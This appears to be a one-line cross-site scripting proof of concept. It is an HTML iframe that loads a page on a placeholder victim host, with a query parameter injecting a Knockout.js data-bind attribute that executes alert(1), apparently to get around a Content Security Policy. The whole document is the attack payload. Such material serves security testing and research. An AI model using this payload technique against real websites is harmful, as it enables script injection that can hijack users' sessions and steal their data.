<iframe src="http://victim.example.com/repo/csp/ue/knockout.php?inj=<div data-bind=value:alert(1)>"></iframe>
